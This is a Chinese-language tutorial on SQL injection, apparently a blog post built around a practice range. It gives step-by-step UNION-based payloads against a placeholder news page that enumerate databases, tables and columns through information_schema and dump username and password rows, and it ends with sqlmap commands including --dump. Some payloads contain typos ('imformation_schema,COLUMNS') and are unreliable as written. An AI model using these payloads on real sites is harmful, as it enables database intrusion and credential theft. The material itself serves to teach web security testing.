SQL注入漏洞原理与利用

SQL注入漏洞流程

  • 判断注入类型
  • 判断字段个数
  • 查询回显位
  • 查询数据库名
  • 查询表、字段名
  • 查询内容

判断注入类型

1.数字型注入点判断

当要输入的参数x为数字型时,后端脚本中的SQL语句类型大致如下:

select * from <表名> where id=x;

数字类型可以使用 and 1=1 和 and 1=2 来判断;

Url地址中http://XXX.cn/?id=x and 1=1 页面依旧运行正常,继续进行下一步;Url地址中http://XXX.cn/?id=x and 1=2 页面运行错误,则说明此Sql注入为数字型注入。

2.字符型注入点判断

当要输入的参数x为字符型时,后端脚本中的SQL语句类型大致如下:

select * from <表名> where id='x';

字符类型可以使用 单引号 来判断;

Url地址中输入http://XXX.cn/?id=x'页面运行错误,继续进行下一步;Url地址中继续输入http://XXX.cn/?id=x ’%23页面运行正常,则说明此Sql注入为字符型注入。

判断字段个数

利用oder by x 的语法来判断

Select * from users where id=1 order by 1
Select * from users where id=1 order by 2
Select * from users where id=1 order by 3

数字的含义:代表需要从第几个字段来排序

MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果。

查询回显位

http://XXX.com/?id = 1 and 1=2 union select 1,2,3,4

MySQL UNION 操作符用于连接两个以上的SELECT语句的结果组合到一个结果集合中。多个SELECT语句会删除重复的数据。

查询数据库名

利用Mysql数据库的函数来查询 Select database();

查询表、字段名

利用Mysql数据库的特性来查询

Mysql5以上的版本,会有一个数据库存放着所有数据库的表名、字段名等内容。

在SQL注入中,会经常对MYSQL数据库的information_schema数据库中的一些表进行查询,以此来获得自己想要的信息。

常用的表有:

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename 的结果取之此表。

查询内容

?id = -1 union select 1,CONCAT(username,'-',password)from users

MySQL 的CONCAT()函数用于将多个字符串连接成一个字符串。

基于报错的检测方法

' "%()

基于布尔的检测

1' and '1'='1 / 1'and '1

1' and '1'='2 /1' and '0

表列名/显示位置位于哪一列

’order by 9-- #按3查询列号排序(注释符:-)

select * 时表字段数=查询字段数

联合查询

'union select 1,2--+

'union all select database(),2--+

DB用户:user()

DB版本:version()

全局函数:@@datadir、@@hostname、@@VERSION、@@version compile os

当前库:database()

ASCII转字符:char()

mysql数据结构 information_schema

SQL注入漏洞

1.页面访问:http://XXX.com/new_list.php?id=1

数据库:select * from news where id=1

页面状态:返回内容正常

说明:正常浏览页面,找到有参数的地方,比如id

2.页面访问:http://XXX.com/new_list.php?id=1 and 1=1

数据库:select * from news where id=1 and 1=1

页面状态:返回内容正常

说明:测试是否存在SQL语句及类型

3.页面访问:http://XXX.com/new_list.php?id=1 and 1=2

数据库:select * from news where id=1 and 1=2

页面状态:返回内容异常

说明:SQL语句中,1=2不成立,存在数字型的SQL漏洞

4.页面访问:http://XXX.com/new_list.php?id=1 order by 1

数据库:select * from news where id=1 order by 1

页面状态:返回内容正常

说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有1个字段。

5.页面访问:http://XXX.com/new_list.php?id=1 order by 2

数据库:select * from news where id=1 order by 2

页面状态:返回内容正常

说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有2个字段。

6.页面访问:http://XXX.com/new_list.php?id=1 order by 3

数据库:select * from news where id=1 order by 3

页面状态:返回内容正常

说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有3个字段。

7.页面访问:http://XXX.com/new_list.php?id=1 order by 4

数据库:select * from news where id=1 order by 4

页面状态:返回内容正常

说明:通过order by N来判断有几个字段,返回内容正常,可以确定至少有4个字段。

8.页面访问:http://XXX.com/new_list.php?id=1 order by 5

数据库:select * from news where id=1 order by 5

页面状态:返回内容异常

说明:通过order by N来判断有几个字段,返回内容异常,说明有4个字段。

9.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,2,3,4

数据库:select * from news where id=1 and 1=2 union select 1,2,3,4

页面状态:在原来的标题位置显示为2,内容的位置显示为3

说明:通过SQL语句中and 1=2 union select 1,2,3......,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段,原来的查询应该是Select id,title,contents,times from news where id=1,也就是说title标题是第2个位置显示,contents内容是在第三个位置显示。

10.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

数据库:select * from news where id=1 and 1=2 union select 1,database(),version(),4

页面状态:在原来的标题位置显示为数据库名称,内容的位置显示为操作系统版本

说明:database()是查询当前数据库的名称,一个服务器上可能有多个数据库,version()是查询当前数据的版本。

11.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

数据库:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

页面状态:在原来的标题位置显示为数据库名称,内容的位置显示为3

说明:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了解的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。获取到的为第一个数据库名称。

12.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

数据库:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

页面状态:在原来的标题位置显示为数据库名称,内容的位置显示为3

说明:limit 4,1意思是从第四行起,取1行数据,为获取第5个数据库名称。

13.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

数据库:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

页面状态:返回内容为空

说明:limit 5,1意思是从第5行起,取1行数据,返回为空,说明只有5个数据库。

14.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1

数据库:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 0,1

页面状态:在原来的标题位置显示为表名,内容的位置显示为3

说明:查询对应当前数据库的第1个数据的表名,limit0,1取到的是第一个表名 。

15.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1

数据库:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 1,1

页面状态:在原来的标题位置显示为表名,内容的位置显示为3

说明:查询对应当前数据库的第1个数据的表名,limit0,1取到的是第2个表名 。

16.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1

数据库:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup'limit 2,1

页面状态:返回内容为空

说明:说明当前数据库只有两个表。

17.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1

数据库:select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 0,1

页面状态:在原来的标题上显示列名,内容的位置显示为类型

说明:查询数据库‘ ’ 的表‘ ’ 中的第一个字段名称与类型。

18.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1

数据库:select * from news where id=1and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from imformation_schema,COLUMNS where TABLE_SCHEMA='' and TABLE_NAME = ''limit 1,1

页面状态:在原来的标题上显示列名,内容的位置显示为类型

说明:查询数据库‘ ’ 的表‘ ’ 中的第2个字段名称与类型。

19.页面访问:http://XXX.com/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from 库名.表名

数据库:select * from news where id=-1 union select 1,count(*),3,4 from 库名.表名

页面状态:在原来的标题上显示2,内容的位置显示为3

说明:查询数据库‘ ’ 的表‘ ’ 中的数据总数,共有2条数据。

20.页面访问:http://XXX.com/new_list.php?id=-1 union select 1,concat(name,'-',password,'-',status) from 库名.表名 limit 0,1

数据库:select * from news where id=-1 union select 1,concat(name,'-',password,'-',status) from 库名.表名 limit 0,1

页面状态:在原来的标题上显示xx-xx-xx,内容的位置显示为3

说明:查询数据库‘ ’ 的表‘ ’ 中的第一条数据的name、password、status的内容,三者之间用-连接起来,CONCAT是把产生的字符串连接起来。获取第一条数据的内容。

密码一般都是采用字符加密的方式在数据库中存储,拿到加密的密文后,需要分析密码的加密方式,然后去找相对应的系统去‘破解’,拿到明文密码。

常用工具:Sqlmap

测试注入: python sqlmap.py -u 'url'

注数据库:python sqlmap.py -u 'url' --dbs

注当前数据库:python sqlmap.py -u 'url' --current-db

注表名:python sqlmap.py -u 'url' -D 库名 --tables

注列名:python sqlmap.py -u 'url' -D 库名 - T 表名 --columns

注数据:python sqlmap.py -u 'url' -D 库名 - T 表名 -C 列名 --dump

SQL注入漏洞原理与利用的更多相关文章

  1. 初级安全入门——SQL注入的原理与利用

    工具简介 SQLMAP: 一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器.它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文 ...

  2. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  3. SQL注入漏洞原理

    系统中安全性是非常重要的,为了保证安全性很多解决方案被应用到系统中,比如架设防火墙防止数据库服务器直接暴露给外部访问者.使用数据库的授权机制防止未授权的用户访问数据库,这些解决方案可以很大程度上避免了 ...

  4. sql注入漏洞笔记随笔

    sql注入是从1998年出现的,是一个十分常见的漏洞,它是OWASP top10的第一名(注入) 在了解sql注入之前,我们需要先了解web框架 webapp:web网站,这种方式它采用的是B/S架构 ...

  5. 简单分析什么是SQL注入漏洞

    现在很多人在入侵的过程中基本都是通过SQL注入来完成的,但是有多少人知道为什么会有这样的注入漏洞呢?有的会随口说着对于字符的过滤不严造成的.但是事实是这样吗?我们学这些,不仅要知其然,更要知其所以然! ...

  6. Cacti 'graph_xport.php' SQL注入漏洞

    漏洞版本: Cacti < 0.8.8b 漏洞描述: Bugtraq ID:66555 Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具. Cact ...

  7. 什么是简单的分析SQL注入漏洞

    如今非常多人在入侵的过程中基本都是通过SQL注入来完毕的,可是有多少人知道为什么会有这种注入漏洞呢?有的会随口说着对于字符的过滤不严造成的. 可是事实是这样吗?我们学这些.不仅要知其然.更要知其所以然 ...

  8. 利用“参数赋值”防范SQL注入漏洞攻击

    <<年轻,无权享受>————送给每一个看到此文的同僚们 在这无精打采的炎夏 我躺在阳台上房东的旧沙发 回想几个月来遇到的问题 我不禁内心开始慌张喘着粗气 还有大把时间去打拼 没有到只 ...

  9. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  10. 利用SQL注入漏洞登录后台

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...

随机推荐

  1. centos7使用yum方式安装redis6

    yum -y install epel-release wget make gcc-c++ cd /opt wget https://download.redis.io/releases/redis- ...

  2. MySQL集群搭建(3)-MMM高可用架构

    1 MMM 介绍 1.1 简介 MMM 是一套支持双主故障切换以及双主日常管理的第三方软件.MMM 由 Perl 开发,用来管理和监控双主复制,虽然是双主架构,但是业务上同一时间只允许一个节点进行写入 ...

  3. 跟我学Python图像处理丨带你掌握傅里叶变换原理及实现

    摘要:傅里叶变换主要是将时间域上的信号转变为频率域上的信号,用来进行图像除噪.图像增强等处理. 本文分享自华为云社区<[Python图像处理] 二十二.Python图像傅里叶变换原理及实现> ...

  4. Xcode模拟器simulators安装

    启动Xcode 后打开菜单Xcode->Preferences...再点击Downloads就可以看到Xcode默认支持的iOS各版本 模拟器,如果还没有安装,只需要点击后面的下载箭头标识,Xc ...

  5. P7361 「JZOI-1」拜神 (字符串)

    题意: 给一个串,\(Q\) 次询问区间 \([l,r]\) 中至少出现两次的子串的最大长度. 写LCT是什么东东 以下做法很经典: 先求出 SA 以及 height 数组,然后按 height 从大 ...

  6. day09-1存储引擎

    存储引擎 1.基本介绍 基本介绍 MySQL的表类型由存储引擎(Storage Engines)决定,主要包括MyISAM.innoDB.Memory等 MySQL数据表主要支持六种类型,分别是:CS ...

  7. Nginx通用优化示例

    user nginx; worker_processes auto; #worket_cpu_affinity auto; error_log /var/log/nginx/error.log war ...

  8. PHP cURL抓取网上图片

    cURL的底层是由一个命令行工具实现的,用于获取远程文件或传输文件,更多的情况是用来模拟get/post表单提交.也可以用户文件上传,爬取文件,支持FTP/FTPS,HTTP/HTTPS等协议,通俗来 ...

  9. XAF新手入门 - 前言

    很多小伙伴在第一次接触XAF时,会被它的丰富功能及开箱即用的特点所吸引,即使在不了解XAF的情况下,也能够依葫芦画瓢创建一个功能丰富的应用,但当应用到实际项目中时,你会发现与之前的愿景差距很大,很多都 ...

  10. CF240F (26颗线段树计数)

    题目链接:Topcoder----洛谷 题目大意: 给定一个长为n的由a到z组成的字符串,有m次操作,每次操作将[l,r]这些位置的字符进行重排,得到字典序最小的回文字符串,如果无法操作就不进行. 思 ...